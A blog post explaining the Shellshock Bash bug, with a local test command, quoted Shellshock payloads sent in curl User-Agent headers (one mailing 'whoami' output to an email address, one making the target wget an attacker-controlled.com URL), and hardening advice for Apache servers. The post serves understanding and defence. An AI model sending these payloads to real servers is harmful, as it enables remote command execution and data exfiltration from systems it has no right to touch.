Michael de Silva's Blog

Software Engineer. Rubyist and Roboticist.

Michael de Silva's Blog

Software Engineer. Rubyist and Roboticist.

Inside the Shellshock Vulnerability: The 25-year old Bash bug

You'll find posts such as "Everything You Need To Know About The Shellshock Bug" covering the basics of the bug and how to locally test it out on your, Mac or linux desktop. TL;DR — give this a spin

-> % env X="() { :;} ; echo vulnerable" /bin/sh -c "echo stuff"
vulnerable
stuff

Notice how my Mac is infact vulnerable to this. But how do attackers leverage this against web servers running say, Apache?

Cloudflare have a fantastic write up Inside Shellshock: How hackers are using it to exploit systems providing simple examples that anyone can try via curl.

For example, take this

curl -H "User-Agent: () { :; }; /bin/eject" http://example.com/

Apache internally creates a variable HTTP_USER_AGENT=() { :; }; /bin/eject but this would only work if this variable is passed to bash. This article runs into various interesting examples such as curl -H "User-Agent: () { :;}; /bin/bash -c \"whoami | mail -s 'example.com l' xxxxxxxxxxxxxxxx@gmail.com\"" and two wonderfully crafty approaches used to 'sniff' for vulnerable servers.

Triggering a ping returning a token to the attack server (so it can identify for success) or having the target attempt to wget a resource from the target server, where the resource is its domain base-64 encoded, i.e. () {:;}; /usr/bin/wget http://attacker-controlled.com/ZXhhbXBsZS5jb21TaGVsbFNob2NrU2FsdA== >> /dev/null

Winter is coming...

Couple of the points below are based on a chat I had with Nish; unfortunately I do not have a twitter handle for him, but credit goes to him.

Today I ensured my Passenger instance's user didn't have bash as its shell; in fact, the app-user doesn't need a shell. Simply set the value to /bin/false in the /etc/passwd file. Here's more info.

You could also set to switch your default shell to zsh, but this isn't a top concern if your app instance does not have access to bash.

Review the various modules enabled for your Apache install, it might be worth to ditch those that aren't being used. Consider mod_security as well.

Running Apache in a chroot is an option - checkout further options here: http://security.stackexchange.com/a/68164/6808

comments powered by Disqus